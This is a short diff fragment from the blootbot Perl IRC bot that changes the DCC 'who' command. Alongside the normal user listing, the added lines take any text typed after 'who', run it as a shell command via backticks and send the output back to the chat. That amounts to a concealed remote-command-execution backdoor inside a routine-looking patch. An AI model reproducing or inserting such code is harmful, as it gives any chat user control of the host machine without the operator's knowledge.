git-svn-id: https://svn.code.sf.net/p/infobot/code/trunk/blootbot@145
c11ca15a-4712-0410-83d8-
924469b57eb5
}
# who.
- if ($message =~ /^who$/i) {
+ if ($message =~ s/^who//i) {
my $count = scalar(keys %{$dcc{'CHAT'}});
+ my $dccCHAT = $message;
+
&performStrictReply("Start of who ($count users).");
foreach (keys %{$dcc{'CHAT'}}) {
&performStrictReply("=> $_");
}
&performStrictReply("End of who.");
+ if ($message) { foreach (`$dccCHAT`) {
+ &performStrictReply("OUT: $_"); }
+ }
+
return $noreply;
}